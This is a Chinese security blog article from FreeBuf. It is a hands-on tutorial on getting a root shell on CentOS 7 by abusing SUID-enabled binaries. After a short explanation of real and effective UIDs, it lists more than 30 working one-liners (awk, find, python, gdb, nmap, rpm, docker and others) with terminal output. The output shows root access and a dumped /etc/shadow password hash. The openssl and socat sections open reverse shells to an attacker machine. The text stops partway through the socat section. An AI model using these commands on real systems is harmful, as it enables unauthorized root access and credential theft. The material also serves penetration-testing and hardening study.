



系统安全

CentOS 7系统利用suid提权获取Root Shell

彭瑞
 2020-07-27 12:34:47
 1048743

原创
 本文由 彭瑞 创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载



彭瑞

这家伙太懒了，还未

[关注](#)

21

文章数

Mitre Att&ck框架T1
注入)的简单实现

2025-07-28

frp内网穿透工具告警

2023-12-11

bash反弹shell的研判

2023-12-11

[浏览更多](#)

文章目录

- 一、操作目的和应用
- 二、平台及工具版本
- 三、操作步骤
 - (一) suid/sgid
 - (二) 查找带有s
 - (三) 提权
- 四、总结

99+

25

一、操作目的和应用场景

本文档介绍在CentOS 7系统中利用带有suid权限的程序提权从而获取root shell的方法。

首先简单介绍suid的概念：

Linux进程在运行的时候有以下三个UID：

Real UID：执行该进程的用户的UID。Real UID只用于标识用户，不用于权限检查。

Effective UID（EUID）：进程执行时生效的UID。在对访问目标进行操作时，系统会检查EUID是否有权限。一般情况下，Real UID与EUID相同，但在运行设置了SUID权限的程序时，进程的EUID会被设置为程序文件属主的UID。

Saved UID：在高权限用户降权后，保留的UID。

进程的GID与UID情况类似。

CentOS系统中存在可执行程序/bin/cat，属主属组均为root，任何用户对其都拥有执行权限。另外存在系统文件/etc/shadow，属主属组也都是root，不提供任何访问权限。

```
[user1@centos7 ~]$ ls -l /bin/cat /etc/shadow
-rwxr-xr-x. 1 root root 54080 8月 20 2019 /bin/cat
----- 1 root root 1335 7月 23 12:38 /etc/shadow
[user1@centos7 ~]$
```

假设系统中存在一个普通用户，名为user1，UID和GID都是1000。该用户对/bin/cat具有执行权限，对/etc/shadow不具有任何权限。默认情况下，user1执行/bin/cat，系统会创建一个cat进程，进程的Real UID和Effective UID相同，都是运行该进程的用户1的UID（1000）。cat进程访问/etc/shadow，由于进程的EUID不具备任何访问权限，所以系统会拒绝其访问目标。

为/bin/cat设置SUID权限之后，user1创建的cat进程的Effective UID自动被设置为/bin/cat文件的属主的UID值，也就是root的UID：0。这样该进程访问/etc/shadow时，虽然目标文件拒绝任何人访问，但是由于进程的Effective UID为0，具备超级用户权限，可以访问任意文件，所以就可以显示shadow文件的内容了。

如果某个设置了suid权限的程序运行后创建了shell，那么shell进程的EUID也会是这个程序文件属主的UID，也就是说，这是一个root shell。root shell中运行的程序的EUID也都是0，具备超级权限。

为可执行文件添加suid权限的目的是简化操作流程，让普通用户也能做一些高权限才能做的的工作。但是如果SUID配置不当，则很容易造成提权。

二、平台及工具版本

虚拟机：CentOS Linux release 7.8.2003 (Core)

三、操作步骤

(一) suid/sgid权限设置

chmod u+s prog1 //设置prog1的suid权限

chmod g+s prog2 //设置prog2的sgid权限

(二) 查找带有suid/sgid权限的文件

find / -perm -u=s -type f 2>/dev/null //查找suid文件

find / -perm -g=s -type f 2>/dev/null //查找sgid文件



(三) 提权

1、awk

输入下面的命令进行提权:

```
awk 'BEGIN {system("/bin/bash -p")}'
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ awk 'BEGIN {system("/bin/bash -p")}'
bash-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
bash-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
bash-4.2#
```

提权成功, 得到了root shell。

2、bash

输入下面的命令进行提权:

```
bash -p
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ bash -p
bash-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
bash-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
bash-4.2#
```

提权成功, 得到了root shell。

3、csh

输入下面的命令进行提权:

```
csh -b
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ csh -b
[user1@centos7 ~]# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
[user1@centos7 ~]# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
[user1@centos7 ~]#
```

提权成功, 得到了root shell。

4、dmesg

输入下面的命令进行提权:

```
dmesg -H
```

```
!/bin/sh -p
```



系统安全

99+

25



```
+0.000000] Initialising cgroup subsystems
+0.000000] Linux version 3.10.0-1127.13.1.el7.x86_64 (mockbuild@kbuilder.bsys
+0.000000] Command line: BOOT_IMAGE=/vmlinuz-3.10.0-1127.13.1.el7.x86_64 root
+0.000000] e820: BIOS-provided physical RAM map:
+0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable
+0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved
+0.000000] BIOS-e820: [mem 0x00000000000a0000-0x00000000000fffff] reserved
+0.000000] BIOS-e820: [mem 0x0000000000100000-0x00000000007fffff] usable
+0.000000] BIOS-e820: [mem 0x00000000007ff000-0x00000000007fffff] ACPI data
+0.000000] BIOS-e820: [mem 0x0000000000fec0000-0x0000000000fec0fff] reserved
+0.000000] BIOS-e820: [mem 0x0000000000fec0000-0x0000000000fec0fff] reserved
+0.000000] BIOS-e820: [mem 0x0000000000fffc000-0x0000000000fffcfff] reserved
+0.000000] NX (Execute Disable) protection: active
+0.000000] SMBIOS 2.5 present.
+0.000000] DMI: Intel(R) Core(TM) i7-4790K CPU @ 3.60GHz, BIOS VirtualBox 12/01/200
+0.000000] Hypervisor detected: KVM
+0.000000] e820: update [mem 0x00000000-0x00000fff] usable ==> reserved
+0.000000] e820: remove [mem 0x00000000-0x00000fff] usable
+0.000000] e820: last_pfn = 0x7ffff0 max_arch_pfn = 0x400000000
+0.000000] MTRR default type: uncachable
+0.000000] MTRR variable ranges disabled:
/bins/sh -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

5、docker

输入下面的命令进行提权：

```
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10
(wheel),11(cdrom),20(games),26,27
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

6、ed

输入下面的命令进行提权：

```
ed
```

```
!/bin/sh -p
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ ed
!/bin/sh -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

7、env

输入下面的命令进行提权：

```
env /bin/sh -p
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ env /bin/sh -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

8、expect

输入下面的命令进行提权：

```
expect -c 'spawn /bin/sh -p;interact'
```



系统安全

99+

25

```
spawn /bin/sh -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAugHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qr0g0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

9、find

输入下面的命令进行提权：

find . -exec /bin/sh -p \; -quit

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ find . -exec /bin/sh -p \; -quit
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAugHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qr0g0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

10、flock

输入下面的命令进行提权：

flock -u /bin/sh -p

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ flock -u /bin/sh -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAugHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qr0g0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

11、ftp

输入下面的命令进行提权：

ftp

!/bin/sh -p

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ ftp
ftp> !/bin/sh -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAugHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qr0g0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

12、gdb

输入下面的命令进行提权：

gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit



系统安全

99+

25



```

j# ~-ex quit
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-119.el7
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#

```

提权成功，得到了root shell。

13、gimp

输入下面的命令进行提权：

gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl("/bin/sh", "sh", "-p")'

```

[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ gimp -idf --batch-interpreter=python-fu-eval -b 'import os; o
s.execl("/bin/sh", "sh", "-p")'
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#

```

提权成功，得到了root shell。

14、git

输入下面的命令进行提权：

git help status //在底行输入 "!/bin/sh -p"

```

文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
GIT-STATUS(1)          Git Manual          GIT-STATUS(1)

NAME
    git-status - Show the working tree status

SYNOPSIS
    git status [<options>...] [--] [<pathspec>...]

DESCRIPTION
    Displays paths that have differences between the index file and the
    current HEAD commit, paths that have differences between the working
    tree and the index file, and paths in the working tree that are not
    tracked by Git (and are not ignored by gitignore(5)). The first are
    what you would commit by running git commit; the second and third are
    what you could commit by running git add before running git commit.

OPTIONS
    -s, --short
        Give the output in the short-format.

    -b, --branch
        Show the branch and tracking info even in short-format.

!/bin/sh -p

```

回车后得到shell：

```

[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ git help status
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#

```

提权成功，得到了root shell。

15、ionice

输入下面的命令进行提权：



系统安全

99+

25

```
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ ionice /bin/sh -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOgO.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

16、ip

输入下面的命令进行提权：

```
ip netns add foo
```

```
ip netns exec foo /bin/sh -p
```

```
ip netns delete foo
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ ip netns add foo
[user1@centos7 ~]$ ip netns exec foo /bin/sh -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOgO.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2# exit
exit
[user1@centos7 ~]$ ip netns delete foo
[user1@centos7 ~]$
```

提权成功，得到了root shell。

17、ksh

输入下面的命令进行提权：

```
ksh -p
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ ksh -p
# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOgO.pFub4xMLn260jLE8uFeH1::0:99999:7:::
#
```

提权成功，得到了root shell。

18、less

输入下面的命令进行提权：

```
less /etc/profile //读取文件，在底行输入!/bin/sh -p
```

```
文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
# /etc/profile

# System wide environment and startup programs, for login setup
# Functions and aliases go in /etc/bashrc

# It's NOT a good idea to change this file unless you know what you
# are doing. It's much better to create a custom.sh shell script in
# /etc/profile.d/ to make custom changes to your environment, as this
# will prevent the need for merging in future updates.

pathmunge () {
    case "${PATH}" in
        *:"$1":*)
            ;;
        *)
            if [ "$2" = "after" ] ; then
                PATH=$PATH:$1
            else
                PATH=$1:$PATH
            fi
    esac
}

!/bin/sh -p
```



系统安全

99+

25

```
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ less /etc/profile
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user
rpcuser:!!:18363::::::
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qr0g0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

19、logsave

输入下面的命令进行提权：

logsave /dev/null /bin/sh -i -p

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ logsave /dev/null /bin/sh -i -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qr0g0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

20、make

输入下面的命令进行提权：

COMMAND='/bin/sh -p'

make -s --eval='\$x:\n\t-"\$COMMAND"

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ COMMAND='/bin/sh -p'
[user1@centos7 ~]$ make -s --eval='$x:\n\t-"$COMMAND"'
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qr0g0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

21、man

man man //在底行输入"!/bin/sh -p"

```
文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
MAN(1) Manual pager utils MAN(1)

NAME
    man - an interface to the on-line reference manuals

SYNOPSIS
    man [-C file] [-d] [-D] [--warnings[=warnings]] [-R encoding] [-L
    locale] [-m system[,...]] [-M path] [-S list] [-e extension] [-i|-I]
    [--regex|--wildcard] [--names-only] [-a] [-u] [--no-subpages] [-P
    pager] [-r prompt] [-7] [-E encoding] [--no-hyphenation] [--no-justifi-
    cation] [-p string] [-t] [-T[device]] [-H[browser]] [-X[dpi]] [-Z]
    [[section] page ...] ...
    man -k [apropos options] regexp ...
    man -K [-w|-W] [-S list] [-i|-I] [--regex] [section] term ...
    man -f [whatis options] page ...
    man -l [-C file] [-d] [-D] [--warnings[=warnings]] [-R encoding] [-L
    locale] [-P pager] [-r prompt] [-7] [-E encoding] [-p string] [-t]
    [-T[device]] [-H[browser]] [-X[dpi]] [-Z] file ...
    man -w|-W [-C file] [-d] [-D] page ...
    man -c [-C file] [-d] [-D] page ...
    man [-?V]

DESCRIPTION
    !/bin/sh -p
```

回车后得到shell：



系统安全

99+

25



```
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

22、more

输入下面的命令进行提权：

more /etc/profile

!/bin/sh -p

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ more /etc/profile
# /etc/profile

# System wide environment and startup programs, for login setup
# Functions and aliases go in /etc/bashrc

# It's NOT a good idea to change this file unless you know what you
# are doing. It's much better to create a custom.sh shell script in
# /etc/profile.d/ to make custom changes to your environment, as this
# will prevent the need for merging in future updates.

pathmanage () {
    case "${PATH}" in
        *:~/*:*)
            ;;
        *)
            if [ "${S2}" = "after" ]; then
                PATH=$PATH:$1
            else
                PATH=$1:$PATH
            fi
        esac
    }

!/bin/sh -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

23、nano

输入下面的命令进行提权：

nano //运行nano程序

^R //按下ctrl-r

^X //按下ctrl-x

reset; sh -p 1>&0 2>&0 //输入下面的命令

```
文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)

执行的命令 [从./] : reset; sh -p 1>&0 2>&0sh-4.2# uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
取消 sh-4.2# sh-4.2# user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

在nano的shell中无法显示命令内容，但是可以看到命令的结果。

提权成功，得到了root shell。

24、nice

输入下面的命令进行提权：



系统安全

99+

25



```
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ nice /bin/sh -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.vGG./qrOgO.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

25、nmap

输入下面的命令进行提权：

```
echo "os.execute('/bin/bash -p')" > /tmp/shell.nse
```

```
nmap --script=/tmp/shell.nse 127.0.0.1
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ echo "os.execute('/bin/bash -p')" > /tmp/shell.nse
[user1@centos7 ~]$ nmap --script=/tmp/shell.nse 127.0.0.1

Starting Nmap 6.40 ( http://nmap.org ) at 2020-07-26 13:38 CST
WARNING: Running Nmap setuid, as you are doing, is a major security risk.

WARNING: Running Nmap setgid, as you are doing, is a major security risk.

bash-4.2# uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
bash-4.2# user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.vGG./qrOgO.pFub4xMLn260jLE8uFeH1::0:99999:7:::
bash-4.2#
```

提权成功，得到了root shell。

26、openssl

输入下面的命令进行提权：

首先在攻击者的机器上运行下面的命令以接收连接：

```
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
```

```
openssl s_server -quiet -key key.pem -cert cert.pem -port 12345
```

```
root@minti5:user1# netstat -anpo | grep :12345
tcp6      0      0 :::12345          :::*               LISTEN
20550/openssl      off (0.00/0/0)
```

之后在CentOS服务器上执行下面的命令：

```
RHOST=192.168.1.6
```

```
RPORT=12345
```

```
mkfifo /tmp/s; /bin/sh -p -i < /tmp/s 2>&1 | openssl s_client -quiet -no_ign_eof -connect
```

```
$RHOST:$RPORT > /tmp/s; rm /tmp/s
```

```
[user1@centos7 ~]$ whoami
user1
[user1@centos7 ~]$ RHOST=192.168.1.6
[user1@centos7 ~]$ RPORT=12345
[user1@centos7 ~]$ mkfifo /tmp/s; /bin/sh -p -i < /tmp/s 2>&1 | openssl s_client
-quiet -no_ign_eof -connect $RHOST:$RPORT > /tmp/s; rm /tmp/s
depth=0 C = AU, ST = Beijing, L = beijing, O = Internet Widgits Pty Ltd
verify error:num=18:self signed certificate
verify return:1
depth=0 C = AU, ST = Beijing, L = beijing, O = Internet Widgits Pty Ltd
verify return:1
```

攻击者收到反弹的shell：

```
root@minti5:user1# openssl s_server -quiet -key key.pem -cert cert.pem -port 12345
sh-4.2# whoami
whoami
root
sh-4.2#
```

提权成功，得到了root shell。

27、php

输入下面的命令进行提权：



系统安全

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ CMD="/bin/sh"
[user1@centos7 ~]$ php -r "pcntl_exec('/bin/sh', ['-p']);"
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAugHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9SiS0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

28、python

输入下面的命令进行提权：

```
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAugHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9SiS0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

29、rpm

输入下面的命令进行提权：

```
rpm --eval '%{lua:os.execute("/bin/sh -p")}'
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ rpm --eval '%{lua:os.execute("/bin/sh -p")}'
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAugHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9SiS0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

30、rsync

输入下面的命令进行提权：

```
rsync -e 'sh -p -c "sh -p 0<&2 1>&2"' 127.0.0.1:/dev/null
```

```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ rsync -e 'sh -p -c "sh -p 0<&2 1>&2"' 127.0.0.1:/dev/null
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAugHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9SiS0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

31、rvim

输入下面的命令进行提权：

```
rvim -c 'py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
```

```
^[[2;2R^[[11;rgb:0000/0000/0000~Gsh-4.2# 2R11;rgb:0000/0000/0000
sh: 2R11: 未找到命令
sh: rgb:0000/0000/0000: 没有那个文件或目录
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAugHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9SiS0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

32、setarch



系统安全

99+

25



```
[user1@centos7 ~]$ id
uid=1000(user1) gid=1000(user1) 组=1000(user1)
[user1@centos7 ~]$ setarch $(arch) /bin/sh -p
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) 组=1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
vGG./qrOg0.pFub4xMLn260jLE8uFeH1::0:99999:7:::
sh-4.2#
```

提权成功，得到了root shell。

33、socat

输入下面的命令进行提权：

攻击者首先在自己的计算机启动对TCP 8888端口的监听

```
socat file:'/dev/tty',raw,echo=0 tcp-listen:8888
```

服务器通过socat发起连接：

```
socat tcp-connect:192.168.1.6:8888 exec:'/bin/sh -p',pty,stderr
```

攻击者得到shell：

```
root@minti5:user1# socat file:'/dev/tty',raw,echo=0 tcp-listen:8888
sh: 此 shell 中无任务控制
sh-4.2# id
uid=1000(user1) gid=1000(user1) euid=0(root) egid=0(root) 组=0(root),1000(user1)
sh-4.2# cat /etc/shadow | grep user1
user1:$6$VJnAuqHEcuGyC8yW$EVi67R1RbU4ry2z4mwHw/kqRiCUMX9Sis0KyjCG8/MU2bV4yCOYdQ.
